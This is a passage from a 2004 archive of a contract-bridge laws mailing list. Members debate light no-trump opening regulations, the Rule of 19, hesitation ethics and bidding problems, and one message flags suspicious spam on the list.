Herman wrote: > > > >> The practice is there - and there is no real reason why it > should not > >> be there. > >> Yes, it may be against the letter of L40, but the writers > of L40 have > >> said they don't mind. > >> So short of re-writing L40, I believe the WBF has done > it's duty (for > >> once). > >> > >> And then again: what's all the fuss about? > > > > > > Where I live, most of the fuss has been about an ACBL regulation > > mandating an automatic penalty for opening a 10-12 HCP 1NT holding > > 1098/1098/K109/AQ109. There may be those who would not call this > > "ridiculous", but I'm not sure what they'd be saving the word for. > > > > > > Again, what's the fuss? > > The fuss certainly is not about being restricted to 10-12 if you want > to play light NTs. I cannot imagine that more than 1% of the ACBL > membership would want to play such a system, and I can imagine 90% of > the members being pissed off when an opponent plays it. Why would you ever be pissed off at the opponents methods. If they play bad methods you will win ... and if they play good methods being pissed off is just poor sportsmanship. Wayne From hermandw@hdw.be Sat Jan 3 10:07:41 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 03 Jan 2004 11:07:41 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <000001c3d1de$0e186310$a2b337d2@Desktop> References: <000001c3d1de$0e186310$a2b337d2@Desktop> Message-ID: <3FF6946D.60700@hdw.be> wayne@ebridgenz.com wrote: > >>membership would want to play such a system, and I can imagine 90% of >>the members being pissed off when an opponent plays it. > > > Why would you ever be pissed off at the opponents methods. > > If they play bad methods you will win ... > > and if they play good methods being pissed off is just poor > sportsmanship. > You and I both, Wayne. But not 90% of the ACBL membership. Or of any membership BTW. People just don't like "funny business". And funny business is everything which deviates from their own narrow minds. So the ACBL did something for their 90% of members. What's the fuss about then? > Wayne > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Sat Jan 3 10:59:22 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 03 Jan 2004 05:59:22 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF68D15.1090501@hdw.be> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> Message-ID: <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> On Sat, 03 Jan 2004 10:36:21 +0100, Herman De Wael wrote: > >Again, what's the fuss? > I suspect it's just that some of us think that hand valuation is an integral part of bridge, and a rule which says that you can't use your judgement in one specific case seems ludicrous. >The fuss certainly is not about being restricted to 10-12 if you want >to play light NTs. I cannot imagine that more than 1% of the ACBL >membership would want to play such a system, and I can imagine 90% of >the members being pissed off when an opponent plays it. > That's interesting, Herman. I have far less experience of playing in ACBL clubs than a lot of people on this list, as I've only lived in the USA since April 1997, and play mostly online anyway. However, while I've known people at an ACBL club object to Precision, and certainly something close to your 90% seem to view a multi 2D as the devil's personal invention, I can't once remember a single objection to our variable NT (10-12 NV, 13-15 vul). The almost universal reaction, at least in my experience, is for opps to discuss whether they want to change their defence to our 1NT, and in particular, how many HCPs they want to show with a double. >So the fuss only comes from those 10-12 adepts who refuse to let >others dictate how low they can go. That's simply not true. I haven't heard *anyone* arguing that you should be able to agree to play a 9-12 HCP 1NT opener within the ACBL, only that you should be allowed to use your judgement in deciding to upgrade or downgrade the HCP count given the quality (or otherwise) of a hand, the same as you can do for *any* other opening bid except a 10-12 1NT opener. >Well, tough luck. An argument which is obviously going to make everyone immediately see the logic behind the rule. >We've decided >that you cannot open 1098/1098/K109/AQ109, but you can open >432/J32/K32/AQ32 if you wish. > I didn't realise you'd been appointed to the ACBL hierarchy, Herman. Congratulations. >A most arbitrary rule, I concur, but one with a great deal of >advantage: simplicity. > Certainly I agree that it's simple, so if that's to be the overriding consideration, why not introduce it for all other opening bids? Go back to all one-level openers having to be strictly 'Rule of 19', for example? Why *was* that idea dropped, anyway (at least within the EBU)? Surely it can't have been due to that inconvenient L40 that everyone has permission to disregard? >So please stop moaning. We've all heard it. Indeed you have. The one thing we haven't heard, apart from "simplicity" or something similar, is a *logical* reason for the rule. Brian. From svenpran@online.no Sat Jan 3 20:10:37 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 3 Jan 2004 21:10:37 +0100 Subject: [blml] Is something rotten on blml right now? Message-ID: <000001c3d235$a793d950$6900a8c0@WINXP> I haven't received any blml message since the one from Brian Meadows which is time stamped: Sat, 03 Jan 2004 05:59:22 -0500 on blml archives. That message reached me nine hours ago. There is however another message on the archives, apparently spam with subject: Think about your future uwgjzjmwn! This later message has the (future) time stamp: Tue, 06 Jan 2004 01:22:08 +0200 and was "archived" on blml just two minutes after the message above from Brian but has not yet reached my mailbox. It remains to be seen whether this message of mine now reaches the archive and is distributed to blml'ers, but I feel the situation sufficiently suspicious to sound an alarm. Regards Sven From mustikka@charter.net Sat Jan 3 20:15:17 2004 From: mustikka@charter.net (Raija Davis) Date: Sat, 3 Jan 2004 12:15:17 -0800 Subject: [blml] Is something rotten on blml right now? References: <000001c3d235$a793d950$6900a8c0@WINXP> Message-ID: <000401c3d236$4eaccbc0$9865fea9@hewlettnvdluy3> FYI, I got this from Sven. Havent received the spam. ----- Original Message ----- From: "Sven Pran" To: "Henk Uijterwaal" ; "Henk Uijterwaal (RIPE-NCC)" Cc: "blml" Sent: Saturday, January 03, 2004 12:10 PM Subject: [blml] Is something rotten on blml right now? > I haven't received any blml message since the one from Brian Meadows which > is time stamped: Sat, 03 Jan 2004 05:59:22 -0500 on blml archives. That > message reached me nine hours ago. > > There is however another message on the archives, apparently spam with > subject: Think about your future uwgjzjmwn! This later message has the > (future) time stamp: Tue, 06 Jan 2004 01:22:08 +0200 and was "archived" on > blml just two minutes after the message above from Brian but has not yet > reached my mailbox. > > It remains to be seen whether this message of mine now reaches the archive > and is distributed to blml'ers, but I feel the situation sufficiently > suspicious to sound an alarm. > > Regards Sven > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ehaa@starpower.net Sat Jan 3 20:37:23 2004 From: ehaa@starpower.net (Eric Landau) Date: Sat, 03 Jan 2004 15:37:23 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF68D15.1090501@hdw.be> References: <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> Message-ID: <5.2.0.9.0.20040103153003.01f8c8e0@pop.starpower.net> At 04:36 AM 1/3/04, Herman wrote: >Again, what's the fuss? > >The fuss certainly is not about being restricted to 10-12 if you want >to play light NTs. I cannot imagine that more than 1% of the ACBL >membership would want to play such a system, and I can imagine 90% of >the members being pissed off when an opponent plays it. > >So the fuss only comes from those 10-12 adepts who refuse to let >others dictate how low they can go. Well, tough luck. We've decided >that you cannot open 1098/1098/K109/AQ109, but you can open >432/J32/K32/AQ32 if you wish. > >A most arbitrary rule, I concur, but one with a great deal of >advantage: simplicity. > >So please stop moaning. We've all heard it. I just can't help it. I was brought up that way. That is to say, brought up bridgewise, to believe that to bid by arbitrary rules is not the way to better bidding, but rather a sure formula for remaining a mediocre player at best. Good bidding requires judgment. Good bidding judgment requires practice. Bridge isn't simple. Regulations that require players to bid by arbitrary rules, that foreclose the use of judgment, dilute the fun of the game by hampering one's ability to get better at it. Surely being told by one's NCBO that one must bid poorly justifies a bit of kvetching. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From Steve Willner" > From: "Sven Pran" > Entirely different law? > No cross reference? > > Law 73F: We were talking about 73B1. We've agreed that there was infraction of this law. If you want to use a completely different law, I can't help you. You may end up with the right result or may not. I really think this should be clear enough to other readers by now. From wayne.burrows@xtra.co.nz Sat Jan 3 21:22:15 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 4 Jan 2004 10:22:15 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <5.2.0.9.0.20040103153003.01f8c8e0@pop.starpower.net> Message-ID: <000601c3d23f$a94686d0$fc2e56d2@Desktop> > -----Original Message----- > From: Eric Landau [mailto:ehaa@starpower.net] > Sent: Sunday, 4 January 2004 8:37 a.m. > To: Bridge Laws Discussion List > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > At 04:36 AM 1/3/04, Herman wrote: > > >Again, what's the fuss? > > > >The fuss certainly is not about being restricted to 10-12 if > you want > >to play light NTs. I cannot imagine that more than 1% of the ACBL > >membership would want to play such a system, and I can > imagine 90% of > >the members being pissed off when an opponent plays it. > > > >So the fuss only comes from those 10-12 adepts who refuse to let > >others dictate how low they can go. Well, tough luck. We've decided > >that you cannot open 1098/1098/K109/AQ109, but you can open > >432/J32/K32/AQ32 if you wish. > > > >A most arbitrary rule, I concur, but one with a great deal of > >advantage: simplicity. > > > >So please stop moaning. We've all heard it. > > I just can't help it. I was brought up that way. That is to say, > brought up bridgewise, to believe that to bid by arbitrary > rules is not > the way to better bidding, but rather a sure formula for remaining a > mediocre player at best. Good bidding requires judgment. > Good bidding > judgment requires practice. Bridge isn't simple. Regulations that > require players to bid by arbitrary rules, that foreclose the use of > judgment, dilute the fun of the game by hampering one's > ability to get > better at it. Surely being told by one's NCBO that one must > bid poorly > justifies a bit of kvetching. There is another issue that I do not like... Players that play 10-12 or whatever the local limit is are at a disadvantage in the play of the hand. If you play 15-17 I cannot infer that you do not have 14 count as you may have exercised your judgement for whatever reason to open this particular hand with 14. However when someone opens 10-12 where a 9-count is penalized then that players opponents have the added inference that they *will* have at least 10 hcp. Wayne > > > Eric Landau ehaa@starpower.net > 1107 Dale Drive (301) 608-0347 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Sat Jan 3 23:31:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 3 Jan 2004 23:31:11 -0000 Subject: [blml] Successful... stratagem??? References: Message-ID: <067201c3d251$bf17d560$119468d5@tinyhrieuyik> [Richard James Hills] As an example, consider this situation: C Tx C xxx C KQx C AJ98x South plays a NT contract, and is known to have a weak hand. There are ample entries in North. The 10 is led from dummy. Now East has to consider the possibilities of splitting his honors now, or ducking completely to block the suit. If East, after a hesitation, decides to split, he should use the Queen, and not the King. Relating this to the current appeal: by playing the Queen, East guides his partner as to who has the King, but on the other hand, he really does not help the declarer through his honesty. Declarer will still be facing the same problem after the hesitation. [Nigel] Declarer *is* better off, however, if East holding only the king, plays it after hesitation because, according, to Italian logic such a play *denies* the queen. An analogous example You: H:ATxxx Dummy H:Kxxx You play dummy's H:K, LHO following with H:Q. You lead H:x from dummy and RHO follows H:x. When you asks RHO about carding, RHO volunteers that from QJ doubleton, they *always* play queen. Restricted choice is inapplicable on this occasion :( But next time .... if LHO plays the knave :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 01:28:02 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 01:28:02 -0000 Subject: [blml] TFLB purpose Message-ID: <06c401c3d262$12508280$119468d5@tinyhrieuyik> All WBF/WBFLC members should urgently answer this question: The purpose of TFLB should be (Please answer A or B but you may qualify/amend your answer in your own words). A. To help *players*, the world over, to enjoy a wonderful game -- by stating its rules in an as up-to-date, simple, clear, complete, universal, and objective way, as possible; with relevant examples -- and with any essential corrections published regularly on the web. B. To ensure that the law as a whole remains inaccessible to most players; but to challenge TDs, ACs, and BLMLers with interesting problems on obsolete, sophisticated, ambiguous, inconsistent, incomplete and subjective laws; with cosmetic alterations published every decade of so; supplemented by... (i) Sporadic, obscure, and voluminous WBFLC minutes and mind-boggling AC rulings. (ii) Mountains of locally produced white books, yellow books, alerting guides... -- to plug TFLB holes and gaps (on bidding boxes, CCs, permitted systems, alerting, and so on) -- to encourage divergent chauvinist regulations, mutually conflicting, rapidly mutating with new editions every year. Surely some members of the WBF or WBFLC still *play* Bridge? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From bbickford@charter.net Sun Jan 4 01:26:10 2004 From: bbickford@charter.net (Bill Bickford) Date: Sat, 3 Jan 2004 20:26:10 -0500 Subject: [blml] TFLB purpose References: <06c401c3d262$12508280$119468d5@tinyhrieuyik> Message-ID: <006a01c3d261$bc54ca80$92147244@D2GX7R11> ----- Original Message ----- From: "Nigel Guthrie" To: Sent: Saturday, January 03, 2004 8:28 PM Subject: [blml] TFLB purpose > All WBF/WBFLC members should urgently answer this > question: > > The purpose of TFLB should be (Please answer A or B but > you may qualify/amend your answer in your own words). > > A. To help *players*, the world over, to enjoy a > wonderful > game -- by stating its rules in an as up-to-date, > simple, > clear, complete, universal, and objective way, as > possible; > with relevant examples -- and with any essential > corrections published regularly on the web. > > B. To ensure that the law as a whole remains > inaccessible > to most players; but to challenge TDs, ACs, and BLMLers > with > interesting problems on obsolete, sophisticated, > ambiguous, > inconsistent, incomplete and subjective laws; with > cosmetic > alterations published every decade of so; supplemented > by... > (i) Sporadic, obscure, and voluminous WBFLC minutes and > mind-boggling AC rulings. > (ii) Mountains of locally produced white books, yellow > books, > alerting guides... > -- to plug TFLB holes and gaps (on bidding boxes, CCs, > permitted systems, alerting, and so on) > -- to encourage divergent chauvinist regulations, > mutually > conflicting, rapidly mutating with new editions > every year. > > Surely some members of the WBF or WBFLC still *play* > Bridge? > > I believe it is abundantly clear that the correct answer is B. Cheers................................./Bill Bickford > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system > (http://www.grisoft.com). > Version: 6.0.553 / Virus Database: 345 - Release Date: > 19/12/2003 > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Sun Jan 4 02:57:27 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 4 Jan 2004 02:57:27 +0000 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> Message-ID: <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Brian Meadows wrote >Certainly I agree that it's simple, so if that's to be the >overriding consideration, why not introduce it for all other >opening bids? Go back to all one-level openers having to be >strictly 'Rule of 19', for example? Why *was* that idea dropped, >anyway (at least within the EBU)? Surely it can't have been due >to that inconvenient L40 that everyone has permission to >disregard? There never was such a rule. Unlike the ACBL rule to which you refer, the EBU accepts that judgement is part of the game. You are not allowed an agreement to play less than Ro19 at L3, but that is the same as saying that you are not allowed 9-11 in the ACBL. -- David Stevenson Wirral, Merseyside, UK Special services: Digital Postcard http://blakjak.com/postcard.htm Currency Converter http://blakjak.com/curr_con.htm Magical Translator http://blakjak.com/translt.htm From nigel.guthrie@ntlworld.com Sun Jan 4 03:07:54 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:07:54 -0000 Subject: [blml] Divine Intervention References: Message-ID: <09a901c3d275$5b428ac0$119468d5@tinyhrieuyik> [Richard James Hills] You are playing with an unknown antipodean expert. Your sole system discussion with partner has been partner saying,0 "We'll keep the bidding simple, if you don't mind. Straightforward Acol is my style." This is your partnership's first board -> Matchpoints, dealer South, vulnerable East-West The bidding has gone: WEST NORTH EAST SOUTH --- --- --- 1S Pass 3S Double ? You, South, hold S:AJ83 H:Q4 D:AQ7 C:KT83 What call do you make? What other calls do you consider making? [Nigel] XX=10 P=2 An expert knows that 3S is a limit bid in "Straightforward Acol". Of course, if partner is a palooka, a pass may be advisable, in case 3S is intended as "pre-emptive" in a more sophisticated style that includes undiscussed additional conventions such as 2N = good raise or even Bergen. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 03:33:16 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:33:16 -0000 Subject: [blml] Waking the dragon References: <001601c3d149$055b6780$50d363d9@c5s5d3> Message-ID: <09aa01c3d275$5f20d660$119468d5@tinyhrieuyik> [Richard James Hills] Multiple (Round-Robin) Teams Board no 15 Dealer South N/S vulnerable The bidding has gone: WEST NORTH EAST SOUTH --- --- --- Pass Pass 1C(1) Pass 1H Double 2H Pass Pass ? (1) Alerted. Likely showing an opening hand with no five-card suit outside of clubs. Example: Could be minimum opening values with 4-4-4-1 shape and a singleton club. You, West, hold: AQ543 T K952 J83 What call do you make? What other calls do you consider making? [Nigel] X=10 2S=9 P=8 I would protect with 1S and then double 2H. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 03:42:31 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:42:31 -0000 Subject: Fw: [blml] Successful... stratagem??? Message-ID: <09ab01c3d275$62ba77e0$119468d5@tinyhrieuyik> [David Stevenson] It has been suggested a few times. It does make cheating remarkably easy since random length hesitations would be the norm, followed immediately by agreements over hesitation length. [Nigel sent to David in error] Ahh! Thank you David! I confess that I've noticed that when an opponent wins a trick, there is a lot of variation in the time he takes to decide what to lead to the next trick. But until now, I had not realised that this variation normally has a conventional meaning :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 03:45:47 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:45:47 -0000 Subject: [blml] Successful... stratagem??? Message-ID: <09c201c3d275$70f7cb00$119468d5@tinyhrieuyik> [Grattan Endicott] +=+ I have now, belatedly you have suggested, quoted the case to the WBF Appeals Committee officers and asked if they support the EBL stance. If they do we can add it to the jurisprudence. The CoP is a WBF Appeals Committee responsibility. [Nigel sent to Grattan in error] Fine if you are a TD/BLMLer. No use whatsoever to 99% of players. Such clarifications are of academic interest only until they are published in TFLB. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 03:44:50 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:44:50 -0000 Subject: [blml] Successful... stratagem??? Message-ID: <09b701c3d275$6d5e2980$119468d5@tinyhrieuyik> [Richard Willey] Has anyone ever considered whether it might not be reasonable to allow players to deliberately vary their tempo in a deliberate attempt to deceive the opponents? As a concrete example, let players hesitate holding a singleton. [Nigel sent to Richard in error] If we had time-limits and the equivalent of chess-clocks, Richard's suggest seems excellent. Also, on the web there are no penalties for hesitation (because it may be a slow connection) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From nigel.guthrie@ntlworld.com Sun Jan 4 03:43:27 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sun, 4 Jan 2004 03:43:27 -0000 Subject: [blml] Successful... stratagem??? Message-ID: <09ae01c3d275$66435080$119468d5@tinyhrieuyik> [Ton Kooijman] And I remember that I spoke with some members of the AC in Salsomaggiore before the case was held there, explaining what happened in Turku and suggesting them not to use it as jurisprudence. [Nigel senf to Ton only, in error] Unsolicited, is such attempted influence acceptable? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 19/12/2003 From blml@wellsborocomputing.com Sun Jan 4 05:13:14 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sun, 04 Jan 2004 00:13:14 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: On Sun, 4 Jan 2004 02:57:27 +0000, David Stevenson wrote: >Brian Meadows wrote > >>Certainly I agree that it's simple, so if that's to be the >>overriding consideration, why not introduce it for all other >>opening bids? Go back to all one-level openers having to be >>strictly 'Rule of 19', for example? Why *was* that idea dropped, >>anyway (at least within the EBU)? Surely it can't have been due >>to that inconvenient L40 that everyone has permission to >>disregard? > > There never was such a rule. Unlike the ACBL rule to which you refer, >the EBU accepts that judgement is part of the game. > In that case, all I can tell you that there were TDs around who ruled otherwise. On every occasion (at least six, probably nearer ten) that an opponent complained about my having upgraded a 4333 11 count to a (Precision) 1D opener, the TD just looked at my hand, asked me whether I would always open it, I said yes, because I valued it as worth a rule of 19 opener, and that was enough for me to be told that I mustn't have an agreement to open one of a suit on that hand because it contravened the rule of 19. Whether that meant that the TD just disagreed with my judgement that the hand was good enough to upgrade, I don't know. And no, I'm not talking about club games. One of the instances was in the opening rounds of the Gold Cup. It was at Maidenhead, which means it had to be 1986-88, and I don't know who the TD was. The other occasions would have been county tournaments or local league matches. > You are not allowed an agreement to play less than Ro19 at L3, but >that is the same as saying that you are not allowed 9-11 in the ACBL. If those TDs were applying the rule incorrectly, then I'm glad to hear it. No, I didn't have the confidence to appeal the decisions in those days. With hindsight, I wish I had. Brian. From hermandw@hdw.be Sun Jan 4 09:00:42 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 10:00:42 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: <3FF7D63A.5030607@hdw.be> David Stevenson wrote: > Brian Meadows wrote > >> Certainly I agree that it's simple, so if that's to be the >> overriding consideration, why not introduce it for all other >> opening bids? Go back to all one-level openers having to be >> strictly 'Rule of 19', for example? Why *was* that idea dropped, >> anyway (at least within the EBU)? Surely it can't have been due >> to that inconvenient L40 that everyone has permission to >> disregard? > > > There never was such a rule. Unlike the ACBL rule to which you refer, > the EBU accepts that judgement is part of the game. > > You are not allowed an agreement to play less than Ro19 at L3, but > that is the same as saying that you are not allowed 9-11 in the ACBL. > OK, and that brings us to the next question: What do we do with a player who opens 1S on Axxxx Kx Qxx Jxx (10+8 < 19)? There are 2 options : -you ask him if he's ever done this before, and he'll tell you he hasn't. You'll tell him never to do it again. He'll do it again when he next has a similar hand. You'll have achieved nothing. -you tell him you consider this opening systemic (he did it, didn't he?) and that this system is forbidden. You award him Av-. Next time he'll count to 18. You have achieved what your superiors (those wise enough to want to eradicate light openings) wanted you to do. I prefer the second option, which does indeed come down to an ACBL-like ban on certain natural openings. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sun Jan 4 09:07:00 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 10:07:00 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: <3FF7D7B4.4030001@hdw.be> And those directors were right. Brian Meadows wrote: > On Sun, 4 Jan 2004 02:57:27 +0000, David Stevenson wrote: > > >>Brian Meadows wrote >> >> >>>Certainly I agree that it's simple, so if that's to be the >>>overriding consideration, why not introduce it for all other >>>opening bids? Go back to all one-level openers having to be >>>strictly 'Rule of 19', for example? Why *was* that idea dropped, >>>anyway (at least within the EBU)? Surely it can't have been due >>>to that inconvenient L40 that everyone has permission to >>>disregard? >> >> There never was such a rule. Unlike the ACBL rule to which you refer, >>the EBU accepts that judgement is part of the game. >> > > > In that case, all I can tell you that there were TDs around who > ruled otherwise. On every occasion (at least six, probably nearer > ten) that an opponent complained about my having upgraded a 4333 > 11 count to a (Precision) 1D opener, the TD just looked at my > hand, asked me whether I would always open it, I said yes, > because I valued it as worth a rule of 19 opener, and that was > enough for me to be told that I mustn't have an agreement to open > one of a suit on that hand because it contravened the rule of 19. > Whether that meant that the TD just disagreed with my judgement > that the hand was good enough to upgrade, I don't know. > No, the Director correctly ruled that you were playing a system under which certain hands that did not conform to the Ro19 were openeable. The rule of 19 is a simple rule: If even one hand, not corresponding to it, is openeable within the system, then that system is illegal (or classed differently). What's so terribly wrong with a rule like that? It's enforceable, it's easy, and the players can understand it if they want. Precisely the kind of rules the proponents of simple rules want. But like many of us, those proponents prefer other agendas. > And no, I'm not talking about club games. One of the instances > was in the opening rounds of the Gold Cup. It was at Maidenhead, > which means it had to be 1986-88, and I don't know who the TD > was. The other occasions would have been county tournaments or > local league matches. > > >> You are not allowed an agreement to play less than Ro19 at L3, but >>that is the same as saying that you are not allowed 9-11 in the ACBL. > > > If those TDs were applying the rule incorrectly, then I'm glad to > hear it. No, I didn't have the confidence to appeal the decisions > in those days. With hindsight, I wish I had. > They were not applying the rule incorrectly. You were honest enough to admit that you would always consider opening those hands. Which means the opening is systemic, and illegal. The main problem occurs with people who won't admit to "always" opening the hand they just opened with. They are liars and cheats and I prefer to be able to rule against them without calling them liars and cheats. > > Brian. > > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sun Jan 4 09:10:23 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 10:10:23 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <5.2.0.9.0.20040103153003.01f8c8e0@pop.starpower.net> References: <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <5.2.0.9.0.20040103153003.01f8c8e0@pop.starpower.net> Message-ID: <3FF7D87F.8040906@hdw.be> No Eric, it does not. Eric Landau wrote: > At 04:36 AM 1/3/04, Herman wrote: > > > I just can't help it. I was brought up that way. That is to say, > brought up bridgewise, to believe that to bid by arbitrary rules is not > the way to better bidding, but rather a sure formula for remaining a > mediocre player at best. Good bidding requires judgment. Good bidding > judgment requires practice. Bridge isn't simple. Regulations that > require players to bid by arbitrary rules, that foreclose the use of > judgment, dilute the fun of the game by hampering one's ability to get > better at it. Surely being told by one's NCBO that one must bid poorly > justifies a bit of kvetching. > Maybe it does, Eric, but not as you want. Your NCBO tells you that you are not allowed to open "very light NT". If you want to kvetch about that, go right ahead. But don't kvetch about them writing that law in such a way that you and all the other players who want to bid up until the limit, and the directors, and your opponents, know precisely how this regulation will be applied. This is not a matter of bridge judgment any more. It is a matter of regulation. And I like this regulation because it is simple. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Sun Jan 4 09:12:46 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sun, 04 Jan 2004 10:12:46 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <000601c3d23f$a94686d0$fc2e56d2@Desktop> References: <000601c3d23f$a94686d0$fc2e56d2@Desktop> Message-ID: <3FF7D90E.4070908@hdw.be> Wayne Burrows wrote: > > There is another issue that I do not like... > > Players that play 10-12 or whatever the local limit is are at a > disadvantage > in the play of the hand. > > If you play 15-17 I cannot infer that you do not have 14 count as you > may have > exercised your judgement for whatever reason to open this particular > hand with > 14. However when someone opens 10-12 where a 9-count is penalized then > that > players opponents have the added inference that they *will* have at > least 10 hcp. > True, Wayne. But no-one is asking 